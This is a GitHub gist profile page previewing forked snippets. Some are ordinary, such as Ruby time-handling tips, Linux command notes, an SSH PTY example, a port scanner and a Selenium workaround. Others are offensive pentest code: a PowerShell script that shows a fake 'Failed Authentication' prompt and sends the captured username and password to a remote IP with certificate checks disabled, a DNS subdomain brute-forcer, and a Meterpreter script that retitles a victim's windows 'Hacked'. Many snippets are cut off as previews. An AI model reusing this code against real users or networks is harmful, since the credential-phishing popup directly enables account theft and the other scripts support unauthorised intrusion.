Skip to content

Instantly share code, notes, and snippets.

View prashanth-sams's full-sized avatar
🍎
Each day is interesting!!!

Prashanth Sams prashanth-sams

🍎
Each day is interesting!!!
View GitHub Profile
@prashanth-sams
prashanth-sams / brutelist.rb
Created March 20, 2017 12:53 — forked from mubix/brutelist.rb
Just charset brute force script
#!/usr/bin/env ruby
#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#
def result?(sub)
puts sub
1 == 2
@prashanth-sams
prashanth-sams / brutedns.rb
Created March 20, 2017 12:53 — forked from mubix/brutedns.rb
Iteratively brutes dns hostnames
#!/usr/bin/env ruby
#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#
@domain = 'contoso.com'
def result?(sub)
results = %x(dig +noall #{sub}.#{@domain} +answer)
@prashanth-sams
prashanth-sams / powershellpopup.ps1
Created March 20, 2017 12:53 — forked from mubix/powershellpopup.ps1
Powershell Popups, proxy aware and auth aware
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
@prashanth-sams
prashanth-sams / hacked_windowtext.rb
Created March 20, 2017 12:54 — forked from mubix/hacked_windowtext.rb
Sets all of the windows titles for the current user to "Hacked"
windows = client.extapi.window.enumerate
windows.each do |winder|
if winder[:title] != 'Default IME'
result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
end
end
@prashanth-sams
prashanth-sams / port_scanner.rb
Created March 20, 2017 12:54 — forked from jstorimer/port_scanner.rb
Simple, parallel port scanner in Ruby built with connect_nonblock and IO.select.
require 'socket'
# Set up the parameters.
PORT_RANGE = 1..512
HOST = 'archive.org'
TIME_TO_WAIT = 5 # seconds
# Create a socket for each port and initiate the nonblocking
# connect.
sockets = PORT_RANGE.map do |port|
@prashanth-sams
prashanth-sams / ex-ssh-pty.rb
Created March 20, 2017 12:54 — forked from KINGSABRI/ex-ssh-pty.rb
ex. SSH with real PTY
require 'net/ssh'
host = "the.host"
user = "joe"
su_user = "bob"
password = "password"
commands = ["cd /", "pwd", "ls -l", "exit"]
finished = ("%08x" * 8) % Array.new(8) { rand(0xFFFFFFFF) }
@prashanth-sams
prashanth-sams / Linux_cmds.md
Last active March 14, 2019 15:22
Commands and shortcuts

Grep

cat appium.txt | grep "your text"
grep "your text" appium.txt
grep --color "your text" appium.txt
ls | grep "your text"

Tmux (split terminal)

DOs

2.hours.ago # => Thu, 27 Aug 2015 14:39:36 AFT +04:30
1.day.from_now # => Fri, 28 Aug 2015 16:39:36 AFT +04:30
Time.zone.parse("2015-08-27T12:09:36Z") # => Thu, 27 Aug 2015 16:39:36 AFT +04:30
Time.current # => Thu, 27 Aug 2015 16:39:36 AFT +04:30
Time.current.utc.iso8601 # When suppliyng an API ("2015-08-27T12:09:36Z")
Time.strptime("2015-08-27T12:09:36Z", "%Y-%m-%dT%H:%M:%S%z").in_time_zone # If you can't use Time.zone.parse (Thu, 27 Aug 2015 16:39:36 AFT +04:30)
Date.current # If you really can't have a Time or DateTime for some reason (Thu, 27 Aug 2015)

iteration

sams = ["s", "a", "m", "s"]
sams.map! do |val|
  val.upcase
end
puts sams
@prashanth-sams
prashanth-sams / gist:5502337197e10e4564e5fadc7441944c
Created July 5, 2017 15:16 — forked from hmcgowan/gist:2272e0546964417d2163
Workaround for selenium-docker chrome hang
package com.lithium.mineraloil.selenium.browsers;
import com.lithium.mineraloil.selenium.DriverNotFoundException;
import lombok.Getter;
import lombok.Setter;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeOptions;
import org.openqa.selenium.remote.CapabilityType;
import org.openqa.selenium.remote.DesiredCapabilities;
import org.openqa.selenium.remote.RemoteWebDriver;